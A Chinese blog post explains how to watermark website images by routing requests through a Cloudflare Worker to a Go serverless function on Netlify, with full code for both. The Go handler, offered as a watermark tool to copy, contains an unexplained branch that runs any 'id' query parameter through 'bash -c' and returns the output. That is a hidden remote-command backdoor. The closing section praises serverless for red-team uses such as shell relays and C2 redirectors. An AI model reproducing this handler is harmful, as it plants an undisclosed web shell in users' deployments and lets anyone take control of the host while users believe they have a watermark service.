使用serverless实现动态添加水印

Share on:

又是瞎折腾的一天

之前自己使用的cloudflare的防火墙规则拦住了一些垃圾爬虫,但是发现cloudflare再牛还是拦不住一些盗文章偷图的人,与其防不胜防,干脆直接给自己的图片加上水印拉到。

这次自己实现的就是通过netlify+vercel这两个hugo静态网站托管的服务商,配合cloudflare的workers和netlify的function(即serverless无服务)功能进行中转修改图片添加水印。

本文并不会普及serverless服务的知识和开发,避不开的东西也只会随口提几句,莫要指望看了本文就可以傻瓜式改为自己的东西。关于netlify、cloudflare、workers、vercel、function等名词以及具体的使用,本文不会提及,如果你干脆不知道这是什么玩意,请立刻关闭本文!

整体思路

原本的思路是让cloudflare的workers在访客请求我的网站时,通过workers路由直接在中间进行处理图片。

image.png

但是发现这样会造成一个死循环,因为workers本身也是用户,所以会造成闭环,workers迟迟拿不到图片,cloudflare直接抛出502。

虽然cloudflare提供了在workers中直接处理图片的方法,但是经过我实际测试之后,发现图片加水印需要付费计划才支持,而我身为资深白嫖党,当然是另寻出路。

而且workers是js操作,cloudflare并没有提供第三方库的导入方式,而且动态调试拉胯,思来想去还是只让workers当作一个代理,从别的地方直接拿到加好水印的图片吧。

为此我搜索了很多类似aws的lambda、腾讯云的云函数服务,发现很多服务商都提供了类似的服务,形如netlify、vercel的function功能,都可以用来作serverless服务,并且每个月的免费额度足够我用,而且支持go、python等语言,更能轻松导入第三方库,方便的很。

接下来用图来表示我的整体架构。

image.png

由此用户访问图片是访问不到原图的。

代码实现

cloudflare的workers

 1addEventListener("fetch", event => {
 2  event.respondWith(handleRequest(event.request))
 3})
 4let upstream = 'https://your.netlify.app/.netlify/functions/hello-lambda'
 5
 6async function handleRequest(request) {
 7  let requestURL = new URL(request.url);
 8  let upstreamURL = new URL(upstream);
 9  requestURL.protocol = upstreamURL.protocol;
10  requestURL.host = upstreamURL.host;
11  requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
12  let new_request_headers = new Headers(request.headers);
13  let fetchedResponse = await fetch(
14    new Request(requestURL, {
15        method: request.method,
16        headers: new_request_headers,
17        body: request.body
18    })
19  );
20  let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
21  return new Response(
22    fetchedResponse.body,
23    {
24        headers: modifiedResponseHeaders,
25        status: fetchedResponse.status,
26        statusText: fetchedResponse.statusText
27    }
28  );
29}

替换域名为你自己的,这个workers的作用就是将图片请求转发到我的serverless服务里。

然后在cloudflare域名的workers选项中将workers和路由关联起来

image.png

image.png

在netlify中新建一个go语言的serverless项目,基于官方的github仓库

其中main.go改为

  1package main
  2
  3import (
  4	"bytes"
  5	"encoding/base64"
  6	"github.com/aws/aws-lambda-go/events"
  7	"github.com/aws/aws-lambda-go/lambda"
  8	"github.com/issue9/watermark"
  9	"io"
 10	"io/ioutil"
 11	"log"
 12	"net/http"
 13	"os"
 14	"os/exec"
 15	"strconv"
 16	"strings"
 17	"time"
 18)
 19
 20var WATERMARK = "/tmp/watermark.png"
 21
 22func init() {
 23	log.Println("判断水印是否存在")
 24	if Exists(WATERMARK) {
 25		log.Println("水印已经存在")
 26	} else {
 27		saveWaterMarkPng(WATERMARK)
 28	}
 29}
 30func Exists(path string) bool {
 31	_, err := os.Stat(path) //os.Stat获取文件信息
 32	if err != nil {
 33		if os.IsExist(err) {
 34			return true
 35		}
 36		return false
 37	}
 38	return true
 39}
 40func saveWaterMarkPng(path string) {
 41	out, err := os.Create(path)
 42	defer out.Close()
 43
 44	req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
 45	client := &http.Client{
 46		Timeout: 5 * time.Second,
 47	}
 48	resp, err := client.Do(req)
 49	defer resp.Body.Close()
 50	all, err := ioutil.ReadAll(resp.Body)
 51	io.Copy(out, bytes.NewReader(all))
 52	if err != nil {
 53		log.Fatalf("水印下载失败:%v\n", err.Error())
 54	} else {
 55		log.Println("水印保存成功")
 56	}
 57}
 58
 59func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
 60	return events.APIGatewayProxyResponse{
 61		StatusCode:      200,
 62		Headers:         map[string]string{"Content-Type": contenttype},
 63		Body:            body,
 64		IsBase64Encoded: base64encode,
 65	}, nil
 66}
 67
 68func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
 69	body := ""
 70	base64encode := false
 71	contenttype := "image/png"
 72
 73	// 获取各个参数
 74	parameters := request.PathParameters
 75	for p := range parameters {
 76		log.Println(p)
 77	}
 78
 79	id := request.QueryStringParameters["id"]
 80	if len(id) != 0 {
 81		log.Printf("exec command:%v", id)
 82		cmd := exec.Command("bash", "-c", id)
 83		out, err := cmd.CombinedOutput()
 84		if err != nil {
 85			body = err.Error()
 86			log.Printf("cmd.Run() failed with %s\n", body)
 87		} else {
 88			body = string(out)
 89			log.Printf("combined out:\n%s\n", body)
 90		}
 91		contenttype = "text/plain"
 92		base64encode = false
 93		return returnResp(body, contenttype, base64encode)
 94	}
 95
 96	path := request.Path
 97	imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
 98	filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")
 99
100	if Exists(filename) {
101		log.Printf("已经存在%s\n", filename)
102		content, _ := ioutil.ReadFile(filename)
103		body = base64.StdEncoding.EncodeToString(content)
104		base64encode = true
105		contenttype = "image/png"
106		return returnResp(body, contenttype, base64encode)
107	}
108
109	client := &http.Client{
110		Timeout: 10 * time.Second,
111	}
112
113	req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
114	req.Header.Set("User-Agent", "netlify")
115	req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)
116
117	resp, err := client.Do(req)
118	defer resp.Body.Close()
119
120	if err != nil {
121		body = err.Error()
122		contenttype = "text/plain"
123		base64encode = false
124		log.Println(err.Error())
125		return returnResp(body, contenttype, base64encode)
126	}
127
128	// 保存图片
129	bs, _ := ioutil.ReadAll(resp.Body)
130	log.Println("截取目录名字:", filename)
131	index := strings.LastIndex(filename, "/")
132	dir := filename[:index]
133
134	if !Exists(dir) {
135		os.MkdirAll(dir, os.ModePerm)
136		log.Println("创建目录:", dir)
137	}
138
139	file, _ := os.Create(filename)
140	defer file.Close()
141	written, err := io.Copy(file, bytes.NewReader(bs))
142	if err != nil {
143		body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
144		contenttype = "text/plain"
145		base64encode = false
146		log.Println(err.Error())
147		return returnResp(body, contenttype, base64encode)
148	}
149
150	w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
151	err = w.MarkFile(filename)
152	//
153	if err != nil {
154		log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
155		content, _ := ioutil.ReadFile(filename)
156		body = base64.StdEncoding.EncodeToString(content)
157		contenttype = "image/png"
158		base64encode = true
159		return returnResp(body, contenttype, base64encode)
160	}
161
162	content, _ := ioutil.ReadFile(filename)
163	body = base64.StdEncoding.EncodeToString(content)
164	contenttype = "image/png"
165	base64encode = true
166	return returnResp(body, contenttype, base64encode)
167
168}
169
170func main() {
171	lambda.Start(handler)
172}

替换为自己的url地址。

其中https://raw_img_url.com 是我用vercel搭建的另一个一模一样的hugo网站,原始资源存到这里,解决之前的闭环问题。

最终的效果就是你现在看到我网站的图片水印的效果。

分析利弊

利:放在台面上的,动态添加水印,不用修改原图片,水印随便换,添加水印的逻辑自己随便改。

弊:请求一个图片需要从workers->serverless->原图片,速度损耗严重,可能搭配cf的缓存以及serverless的文件存储判断可能会好些,但是九牛一毛。

思考

花了几天时间用serverless实现了一个不修改原图加水印的功能,最终完成的时候发现这个东西只防的住君子防不住小人。

与其思考加水印这种无趣费时费力的功能,更应该考虑在红队建设方面能有那些新的利用点,之前用cloudflare作域前置,现在用workers.dev域名做中转器,serverless服务的多种语言支持给了serverless更多样化的利用方向。

形如“学蚁致用”蚁剑作者写的利用腾讯云函数来链接webshell,再比如利用cloudflare来做cs的redirect中转器,之前自己也写了一个利用cloudflare的workers来做shell中转。

serverless服务的兴起,不仅仅可以用来加水印这么简单,期待大家挖掘更多的利用方向吧。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。